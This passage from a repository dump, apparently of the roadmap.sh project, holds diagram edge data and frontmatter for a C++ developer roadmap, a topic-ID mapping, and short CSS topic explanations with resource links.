\"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fb3bnfKXjSIjPAk4b95lg\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xjUaIp8gGxkN-cp8emJ2M\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qmHs6_BzND_xpMmls5YUHx2-xjUaIp8gGxkN-cp8emJ2Mw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fb3bnfKXjSIjPAk4b95lg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vvE1aUsWbF1OFcmMUHbJa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fb3bnfKXjSIjPAk4b95lgy2-qmHs6_BzND_xpMmls5YUHz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vvE1aUsWbF1OFcmMUHbJa\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Kb2Pbz0Sq7YlO1vCwYxnX\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vvE1aUsWbF1OFcmMUHbJay2-Kb2Pbz0Sq7YlO1vCwYxnXz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Kb2Pbz0Sq7YlO1vCwYxnX\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qmHs6_BzND_xpMmls5YUH\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Kb2Pbz0Sq7YlO1vCwYxnXy2-qmHs6_BzND_xpMmls5YUHz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vvE1aUsWbF1OFcmMUHbJa\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"T6rCTv9Dxkm-tEA-l9XEv\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vvE1aUsWbF1OFcmMUHbJaw2-T6rCTv9Dxkm-tEA-l9XEvx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vvE1aUsWbF1OFcmMUHbJa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"R2-qWGUxsTOeSHRuUzhd2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vvE1aUsWbF1OFcmMUHbJax2-R2-qWGUxsTOeSHRuUzhd2w1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qmHs6_BzND_xpMmls5YUH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FTMHsUiE8isD_OVZr62Xc\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qmHs6_BzND_xpMmls5YUHx2-h29eJG1hWHa7vMhSqtfV2w1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FTMHsUiE8isD_OVZr62Xc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DVckzBUMgk_lWThVkLyAT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h29eJG1hWHa7vMhSqtfV2z2-DVckzBUMgk_lWThVkLyATy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FTMHsUiE8isD_OVZr62Xc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hSG6Aux39X0cXi6ADy2al\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h29eJG1hWHa7vMhSqtfV2z2-hSG6Aux39X0cXi6ADy2aly1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FTMHsUiE8isD_OVZr62Xc\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jVXFCo6puMxJ_ifn_uwim\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-FTMHsUiE8isD_OVZr62Xcx2-h29eJG1hWHa7vMhSqtfV2w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jVXFCo6puMxJ_ifn_uwim\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ysnXvSHGBMMozBJyXpHl5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h29eJG1hWHa7vMhSqtfV2x2-ysnXvSHGBMMozBJyXpHl5w2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jVXFCo6puMxJ_ifn_uwim\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"h29eJG1hWHa7vMhSqtfV2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jVXFCo6puMxJ_ifn_uwimz2-h29eJG1hWHa7vMhSqtfV2y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h29eJG1hWHa7vMhSqtfV2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4kkX5g_-plX9zVqr0ZoiR\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-h29eJG1hWHa7vMhSqtfV2z2-4kkX5g_-plX9zVqr0ZoiRy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4kkX5g_-plX9zVqr0ZoiR\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"5mNqH_AEiLxUmgurNW1Fq\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4kkX5g_-plX9zVqr0ZoiRw2-5mNqH_AEiLxUmgurNW1Fqx2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4kkX5g_-plX9zVqr0ZoiR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"I1aDakZmYpe7pKczou0qC\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-4kkX5g_-plX9zVqr0ZoiRx2-I1aDakZmYpe7pKczou0qCw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/cpp/cpp.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/cpp.json'\npdfUrl: '/pdfs/roadmaps/cpp.pdf'\norder: 10\nbriefTitle: 'C++'\nbriefDescription: 'Step by step guide to becoming a C++ Developer in 2025'\ntitle: 'C++ Developer Roadmap'\ndescription: 'Step by step guide to becoming a C++ developer in 2025'\nisNew: false\nrenderer: editor\nhasTopics: true\ndimensions:\n  width: 1000\n  height: 2975\nschema:\n  headline: 'C++ Developer Roadmap'\n  description: 'Learn how to become a C++ Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/cpp.png'\n  datePublished: '2023-06-01'\n  dateModified: '2023-06-01'\nseo:\n  title: 'C++ Developer Roadmap'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for C++ development. Learn to become a modern C++ developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a c++ developer'\n    - 'c++ developer 2025'\n    - 'c++ engineer'\n    - 'c++ skills'\n    - 'cpp roadmap 2025' \n    - 'guide to c++'\n    - 'c++ roadmap'\n    - 'c++ roadmap 2025'\n    - 'c++ skills'\n    - 'c++ skills test'\n    - 'skills for c++'\n    - 'what is c++'\n    - 'c plus plus roadmap'\n    - 'c plus plus developer'\n    - 'c++ quiz'\n    - 'c++ interview questions'\n    - 'c++ engineer roadmap'\n    - 'c++ developer roadmap'\n    - 'c++ developer roadmap 2025'\n    - 'become a c++ developer'\n    - 'c++ developer career path'\n    - 'c++ developer'\n    - 'modern c++ developer'\nrelatedRoadmaps:\n  - 'rust'\n  - 'linux'\n  - 'python'\n  - 'computer-science'\n  - 'java'\n  - 'datastructures-and-algorithms'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/cpp/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/cpp/migration-mapping.json",
    "content": "{\n  \"introduction\": \"NvODRFR0DLINB0RlPSsvt\",\n  \"introduction:what-is-cpp\": \"x_28LiDVshqWns_aIBsdx\",\n  \"introduction:why-cpp\": \"tl6VCQ5IEGDVyFcgj7jDm\",\n  \"introduction:c-vs-cpp\": \"2Ag0t3LPryTF8khHLRfy-\",\n  \"setting-up\": \"Zc_TTzmM36yWsu3GvOy9x\",\n  \"setting-up:installing\": \"0J_ltQEJh2g28OE2ZEYJj\",\n  \"setting-up:code-editors\": \"ew0AfyadpXPRO0ZY3Z19k\",\n  \"setting-up:first-program\": \"SEq0D2Zg5WTsIDtd1hW9f\",\n  \"basic-operations\": \"kl2JI_Wl47c5r8SYzxvCq\",\n  \"basic-operations:arithmetic-operators\": \"8aOSpZLWwZv_BEYiurhyR\",\n  \"basic-operations:logical-operators\": \"Y9gq8WkDA_XGe68JkY2UZ\",\n  \"basic-operations:bitwise\": \"zE4iPSq2KsrDSByQ0sGK_\",\n  \"functions\": \"oYi3YOc1GC2Nfp71VOkJt\",\n  \"functions:lambda\": \"xjiFBVe-VGqCqWfkPVGKf\",\n  \"functions:operators\": \"llCBeut_uc9IAe2oi4KZ9\",\n  \"data-types\": \"MwznA4qfpNlv6sqSNjPZi\",\n  \"data-types:static-typing\": \"f1djN0GxoeVPr_0cl6vMq\",\n  \"data-types:dynamic-typing\": \"i0EAFEUB-F0wBJWOtrl1A\",\n  \"data-types:dynamic-typing:rtti\": \"r0yD1gfn03wTpEBi6zNsu\",\n  \"basic-operations:loops\": \"_IP_e1K9LhNHilYTDh7L5\",\n  \"pointers-and-references\": \"DWw8NxkLpIpiOSUaZZ1oA\",\n  \"pointers-and-references:references\": \"uUzRKa9wGzdUwwmAg3FWr\",\n  \"pointers-and-references:smart-pointers:weak-ptr\": \"vUwSS-uX36OWZouO0wOcy\",\n  \"pointers-and-references:smart-pointers:shared-ptr\": \"b5jZIZD_U_CPg-_bdndjz\",\n  \"pointers-and-references:smart-pointers:uniqe-ptr\": \"k9c5seRkhgm_yHPpiz2X0\",\n  \"pointers-and-references:raw-pointers:memory-leakage\": \"6w0WExQ4lGIGgok6Thq0s\",\n  \"pointers-and-references:raw-pointers:new-delete-operators\": \"Gld0nRs0sM8kRe8XmYolu\",\n  \"pointers-and-references:memory-model\": \"mSFwsTYvmg-GwG4_DEIEf\",\n  \"pointers-and-references:memory-model:object-lifetime\": \"9aA_-IfQ9WmbPgwic0mFN\",\n  \"structuring-codebase\": \"Zw2AOTK5uc9BoKEpY7W1C\",\n  \"structuring-codebase:code-splitting\": \"CK7yf8Bo7kfbV6x2tZTrh\",\n  \"structuring-codebase:code-splitting:forward-declaration\": \"ZHjU60uzJTezADRhDTESG\",\n  \"structuring-codebase:scope\": \"dKCYmxDNZubCVcR5rf8b-\",\n  \"structuring-codebase:scope:namespaces\": \"iIdC7V8sojwyEqK1xMuHn\",\n  \"structures-and-classes\": \"CMlWNQwpywNhO9B6Yj6Me\",\n  \"structures-and-classes:rule-of-zero-five-three\": \"7sdEzZCIoarzznwO4XcCv\",\n  \"structures-and-classes:oop\": \"b3-QYKNcW3LYCNOza3Olf\",\n  \"structures-and-classes:oop:static-polymorphism:overloading-functions\": \"sgfqb22sdN4VRJYkhAVaf\",\n  \"structures-and-classes:oop:static-polymorphism\": \"obZIxRp0eMWdG7gplNIBc\",\n  \"structures-and-classes:oop:dynamic-polymorphism:virtual-methods\": \"hNBErGNiegLsUJn_vgcOR\",\n  \"structures-and-classes:oop:dynamic-polymorphism:virtual-tables\": \"s99ImazcwCgAESxZd8ksa\",\n  \"structures-and-classes:oop:dynamic-polymorphism\": \"7h1VivjCPDwriL7FirtFv\",\n  \"structures-and-classes:multiple-inheritance\": \"WjHpueZDK-d3oDNMVZi9w\",\n  \"structures-and-classes:multiple-inheritance:diamond-inheritance\": \"ofwdZm05AUqCIWmfgGHk8\",\n  \"exception-handling\": \"B2SGBENzUMl0SAjG4j91V\",\n  \"exception-handling:exit-codes\": \"oWygnpwHq2poXQMTTSCpl\",\n  \"exception-handling:exceptions\": \"NJud5SXBAUZ6Sr78kZ7jx\",\n  \"exception-handling:exceptions:access-violations\": \"y4-P4UNC--rE1vni8HdTn\",\n  \"language-concepts\": \"-6fwJQOfsorgHkoQGp4T3\",\n  \"language-concepts:auto\": \"CG01PTVgHtjfKvsJkJLGl\",\n  \"language-concepts:type-casting\": \"PiMhw1oP9-NZEa6I9u4lX\",\n  \"language-concepts:type-casting:static-cast\": \"_XB2Imyf23-6AOeoNLhYQ\",\n  \"language-concepts:type-casting:const-cast\": \"5g22glc97siQOcTkHbwan\",\n  \"language-concepts:type-casting:dynamic-cast\": \"4BdFcuQ5KNW94cu2jz-vE\",\n  \"language-concepts:type-casting:reinterpret-cast\": \"ZMyFDJrpCauGrY5NZkOwg\",\n  \"language-concepts:undefined-behavior\": \"IDOlquv6jlfecwQoBwkGZ\",\n  \"language-concepts:adl\": \"YSWN7nS8vA9nMldSUrZRT\",\n  \"language-concepts:name-mangling\": \"Lt7ss59KZw9Jwqj234jm2\",\n  \"language-concepts:macros\": \"zKdlfZTRHwjtmRUGW9z9-\",\n  \"stl\": \"DHdNBP7_ixjr6h-dIQ7g6\",\n  \"stl:iterators\": \"Ebu8gzbyyXEeJryeE0SpG\",\n  \"stl:iostream\": \"VeVxZ230xkesQsIDig8zQ\",\n  \"stl:algorithms\": \"whyj6Z4RXFsVQYRfYYn7B\",\n  \"stl:date-time\": \"yGvE6eHKlPMBB6rde0llR\",\n  \"stl:multithreading\": \"OXQUPqxzs1-giAACwl3X1\",\n  \"stl:ccontainers\": \"1pydf-SR0QUfVNuBEyvzc\",\n  \"templates\": \"-6AOrbuOE7DJCmxlcgCay\",\n  \"templates:variadic-templates\": \"w4EIf58KP-Pq-yc0HlGxc\",\n  \"templates:template-specialization\": \"sObOuccY0PDeGG-9GrFDF\",\n  \"templates:template-specialization:full\": \"6hTcmJwNnQstbWWzNCfTe\",\n  \"templates:template-specialization:partial\": \"1NYJtbdcdOB4-vIrnq4yX\",\n  \"templates:type-traits\": \"WptReUOwVth3C9-AVmMHF\",\n  \"templates:finae\": \"3C5UfejDX-1Z8ZF6C53xD\",\n  \"idioms\": \"fb3bnfKXjSIjPAk4b95lg\",\n  \"idioms:raii\": \"OmHDlLxCnH8RDdu5vx9fl\",\n  \"idioms:pimpl\": \"MEoWt8NKjPLVTeGgYf3cR\",\n  \"idioms:crtp\": \"ttt-yeIi4BPWrgvW324W7\",\n  \"idioms:non-copyable\": \"xjUaIp8gGxkN-cp8emJ2M\",\n  \"idioms:erase-remove\": \"YvmjrZSAOmjhVPo05MJqN\",\n  \"idioms:copy-swap\": \"lxAzI42jQdaofzQ5MXebG\",\n  \"idioms:copy-write\": \"O2Du5gHHxFxAI2u5uO8wu\",\n  \"standards\": \"vvE1aUsWbF1OFcmMUHbJa\",\n  \"standards:cpp11-14\": \"T6rCTv9Dxkm-tEA-l9XEv\",\n  \"standards:cpp17\": \"R2-qWGUxsTOeSHRuUzhd2\",\n  \"standards:cpp20\": \"o3no4a5_iMFzEAGs56-BJ\",\n  \"standards:newest\": \"sxbbKtg7kMNbkx7fXhjR9\",\n  \"standards:cpp0x\": \"PPg0V5EzGBeJsysg1215V\",\n  \"debuggers\": \"qmHs6_BzND_xpMmls5YUH\",\n  \"debuggers:debugger-messages\": \"VtPb8-AJKzhTB0QbMtoU4\",\n  \"debuggers:debugger-symbols\": \"sR_FxGZHoMCV9Iv7z2_SX\",\n  \"debuggers:win-dbg\": \"y8VCbGDUco9bzGRfIBD8R\",\n  \"debuggers:gdb\": \"BmWsoL9c_Aag5nVlMsKm2\",\n  \"compilers\": \"FTMHsUiE8isD_OVZr62Xc\",\n  \"compilers:stages\": \"DVckzBUMgk_lWThVkLyAT\",\n  \"compilers:features\": \"hSG6Aux39X0cXi6ADy2al\",\n  \"build-systems\": \"jVXFCo6puMxJ_ifn_uwim\",\n  \"build-systems:cmake\": \"ysnXvSHGBMMozBJyXpHl5\",\n  \"build-systems:makefile\": \"t6rZLH7l8JQm99ax_fEJ9\",\n  \"build-systems:ninja\": \"HkUCD5A_M9bJxJRElkK0x\",\n  \"package-managers\": \"h29eJG1hWHa7vMhSqtfV2\",\n  \"package-managers:vcpkg\": \"PKG5pACLfRS2ogfzBX47_\",\n  \"package-managers:spack\": \"3ehBc2sKVlPj7dn4RVZCH\",\n  \"package-managers:conan\": \"ky_UqizToTZHC_b77qFi2\",\n  \"package-managers:nuget\": \"g0s0F4mLV16eNvMBflN2e\",\n  \"working-with-libs\": \"4kkX5g_-plX9zVqr0ZoiR\",\n  \"working-with-libs:inclusion\": \"5mNqH_AEiLxUmgurNW1Fq\",\n  \"working-with-libs:licensing\": \"sLVs95EOeHZldoKY0L_dH\",\n  \"libraries:boost\": \"1d7h5P1Q0RVHryKPVogQy\",\n  \"libraries:open-cv\": \"Eq3TKSFJ2F2mrTHAaU2J4\",\n  \"libraries:poco\": \"nOkniNXfXwPPlOEJHJoGl\",\n  \"libraries:protobuf\": \"jpMCIWQko7p3ndezYHL4D\",\n  \"libraries:grpc\": \"621J9W4xCofumNZGo4TZT\",\n  \"libraries:tensorflow\": \"j_eNHhs0J08Dt7HVbo4Q2\",\n  \"libraries:pybind11\": \"tEkvlJPAkD5fji-MMODL7\",\n  \"libraries:spdlog\": \"q64qFxoCrR38RPsN2lC8x\",\n  \"libraries:fmt\": \"1CqQgmHDeo1HlPdpUJS7H\",\n  \"libraries:opencl\": \"GGZJaYpRENaqloJzt0VtY\",\n  \"libraries:ranges-v3\": \"et-dXKPYuyVW6eV2K3CM8\",\n  \"frameworks:gtest\": \"MrAM-viRaF8DSxB6sVdD9\",\n  \"frameworks:qt\": \"gAZ9Dqgj1_UkaLzVgzx1t\",\n  \"frameworks:catch2\": \"s13jQuaC6gw0Lab3Cbyy6\",\n  \"frameworks:orbit-profiler\": \"O0lVEMTAV1pq9sYCKQvh_\",\n  \"frameworks:pytorch-cpp\": \"88pr5aN7cctZfDVVo-2ns\"\n}"
  },
  {
    "path": "src/data/roadmaps/css/content/absolute-vs-relative@l7bBJLtKWkrzSfSPkZlBI.md",
    "content": "# Absolute vs. Relative Units\n\nAbsolute units in CSS represent fixed measurements, like pixels (px) or inches (in), and will always render at the same size regardless of screen size or other factors. Relative units, on the other hand, are based on other values, such as the font size of the parent element (em), the viewport width (vw), or the root element's font size (rem), allowing for more flexible and responsive layouts.\n\nVisit the following resources to learn more:\n\n- [@article@What are Absolute and Relative Units in CSS? Explained with Examples](https://www.freecodecamp.org/news/absolute-and-relative-css-units)"
  },
  {
    "path": "src/data/roadmaps/css/content/absolute@7LhPT3h-BEdHSF2iOevVl.md",
    "content": "# Absolute Positioning\n\nAbsolute positioning in CSS allows you to precisely place an element relative to its nearest positioned ancestor (an ancestor with a position value other than `static`). If no such ancestor exists, the element is positioned relative to the initial containing block, which is typically the `<html>` element. Elements with `position: absolute` are removed from the normal document flow, meaning they don't affect the positioning of other elements around them.\n\nVisit the following resources to learn more:\n\n- [@video@CSS position deep dive](https://www.youtube.com/watch?v=fF_NVrd1s14)"
  },
  {
    "path": "src/data/roadmaps/css/content/accessibility@LDIZoK-XgmwqPdLH01vC5.md",
    "content": "# Accessibility\n\nAccessibility in CSS focuses on creating web content that is usable by everyone, regardless of their abilities or disabilities. This involves using semantic HTML, providing alternative text for images, ensuring sufficient color contrast, and designing layouts that are navigable with assistive technologies like screen readers. By following accessibility best practices, developers can build inclusive websites that provide a better experience for all users.\n\nVisit the following resources to learn more:\n\n- [@article@CSS and JavaScript accessibility best practices](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Accessibility/CSS_and_JavaScript)\n- [@article@CSS Accessibility Styling](https://www.w3schools.com/css/css_accessibility.asp)\n- [@article@How to Use CSS to Improve Web Accessibility](https://www.freecodecamp.org/news/how-to-use-css-to-improve-web-accessibility/)"
  },
  {
    "path": "src/data/roadmaps/css/content/attribute-selectors@m6KQMN1XWo4uWqs2F3KXH.md",
    "content": "# Attribute Selectors\n\nAttribute selectors in CSS target HTML elements based on the presence or value of their attributes. They allow you to style elements more precisely than using just tag names or classes. For example, you can select all elements with a specific attribute, or only those where the attribute's value matches a certain string.\n\nVisit the following resources to learn more:\n\n- [@article@Attribute Selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors)\n- [@article@Attribute Selectors | CSS Tricks](https://css-tricks.com/almanac/selectors/a/attribute/)\n- [@video@Attribute Selectors in detail - CSS Tutorial](https://www.youtube.com/watch?v=m_upHrxjR8s)"
  },
  {
    "path": "src/data/roadmaps/css/content/background-attachment@6i0Zl05VMzUsh47cuUH4-.md",
    "content": "# Background Attachment\n\nBackground attachment in CSS controls how a background image behaves when the page is scrolled. It determines whether the background image scrolls along with the content or remains fixed in place. This property is useful for creating visual effects like parallax scrolling or keeping a watermark visible regardless of the user's scroll position.\n\nVisit the following resources to learn more:\n\n- [@article@Background Attachment](https://developer.mozilla.org/en-US/docs/Web/CSS/background-attachment)\n- [@video@CSS - Background Attachment - W3Schools.com](https://www.youtube.com/watch?v=lXs8BRnrW_M)"
  },
  {
    "path": "src/data/roadmaps/css/content/background-color@ATd9RE303X79aAmqvwS08.md",
    "content": "# Background Color\n\nBackground color in CSS sets the color of an element's background. It fills the entire box of an element, including padding, but not the border or margin. You can specify the color using color names (like \"red\"), hexadecimal values (like \"#FF0000\"), RGB values (like \"rgb(255, 0, 0)\"), or other color formats.\n\nVisit the following resources to learn more:\n\n- [@article@Background Color](https://developer.mozilla.org/en-US/docs/Web/CSS/background-color)\n- [@video@CSS - Background Colors - W3Schools.com](https://www.youtube.com/watch?v=-itttmX6HX0&pp=ygUUYmFja2dyb3VuZCBjb2xvciBjc3M%3D)"
  },
  {
    "path": "src/data/roadmaps/css/content/background-gradient@_9QA5_mLJ8_eiQN0ucIkQ.md",
    "content": "# Background Gradient\n\nBackground gradients in CSS allow you to create smooth transitions between two or more colors for the background of an element. Instead of a solid color, you can define a gradient that blends colors together, adding visual depth and interest to your designs. These gradients can be linear (flowing in a straight line), radial (emanating from a center point), or conic (rotating around a center point).\n\nVisit the following resources to learn more:\n\n- [@article@CSS gradients](https://www.w3schools.com/css/css3_gradients.asp)\n- [@video@CSS Gradient Background - One Minute Coding ⏱](https://www.youtube.com/watch?v=NINIuzyWZ2c)"
  },
  {
    "path": "src/data/roadmaps/css/content/background-image@d-rp-EHKyHnzuIHWHOc7C.md",
    "content": "# Background Image\n\nA background image in CSS lets you add an image to the background of an HTML element. This image can be a simple pattern, a photograph, or any other visual element you want to display behind the content of your element. You can control how the image is positioned, repeated, and sized within the background area.\n\nVisit the following resources to learn more:\n\n- [@article@MDN – background-image](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/background-image)\n- [@article@CSS-Tricks – A Complete Guide to CSS Backgrounds](https://css-tricks.com/almanac/properties/b/background/)\n- [@video@How to include a CSS background image 🏙️](https://www.youtube.com/watch?v=_oFWg_NlKdo)\n- [@video@Background images with HTML & CSS](https://www.youtube.com/watch?v=zHZRFwWQt2w)"
  },
  {
    "path": "src/data/roadmaps/css/content/background-position@BBpeQcb7Y21C7-r3PFIMW.md",
    "content": "# Background Position\n\nBackground position in CSS controls where a background image is placed within its element. It lets you specify the horizontal and vertical placement of the image, using keywords like `top`, `bottom`, `left`, `right`, and `center`, or with numerical values (pixels, percentages, etc.) to fine-tune the exact location. This property is useful for aligning background images in specific ways, creating visual effects, or ensuring that important parts of the image are always visible.\n\nVisit the following resources to learn more:\n\n- [@article@Background Position](https://developer.mozilla.org/en-US/docs/Web/CSS/background-position)\n- [@video@CSS Property : background-position explained !](https://www.youtube.com/watch?v=S_rcA0JKEaE)"
  },
  {
    "path": "src/data/roadmaps/css/content/background@RqyaHX4Krk9e-6Eq9FHnS.md",
    "content": "# Background\n\nIn CSS, the term \"background\" refers to the properties that control the visual appearance of an element's background. This includes aspects like the background color, image, its positioning, whether it repeats, and its size. These properties allow you to add visual interest and customize the look of your web pages.\n\nVisit the following resources to learn more:\n\n- [@video@Learn CSS background in 3 minutes](https://www.youtube.com/watch?v=YA8ZciJa64k)"
  },
  {
    "path": "src/data/roadmaps/css/content/bem@r28JBMZLEqZMDm-tVDYZk.md",
    "content": "# BEM\n\nBEM (Block, Element, Modifier) is a CSS naming convention that helps developers create more modular, reusable, and maintainable code. It structures class names to reflect the relationships between different parts of a user interface. This approach makes it easier to understand the purpose of each CSS rule and how it relates to the HTML structure, leading to more organized and scalable stylesheets.\n\nVisit the following resources to learn more:\n\n- [@official@BEM](https://getbem.com/)\n- [@article@BEM 101](https://css-tricks.com/bem-101/)\n- [@video@Why I use the BEM naming convention for my CSS](https://www.youtube.com/watch?v=SLjHSVwXYq4)"
  },
  {
    "path": "src/data/roadmaps/css/content/block@uhHBvhgHjmIZDeOEPi_pZ.md",
    "content": "# Block Display\n\nThe `display: block;` property in CSS makes an element behave like a block-level element. This means it will take up the full width available to it, starting on a new line and pushing subsequent content to a new line as well. Block elements typically define the major structural components of a webpage.\n\nVisit the following resources to learn more:\n\n- [@video@Block, Inline, and Inline-Block explained | CSS Tutorial](https://www.youtube.com/watch?v=x_i2gga-sYg)"
  },
  {
    "path": "src/data/roadmaps/css/content/border@tOADYKk7o5cFaMLKxdiYa.md",
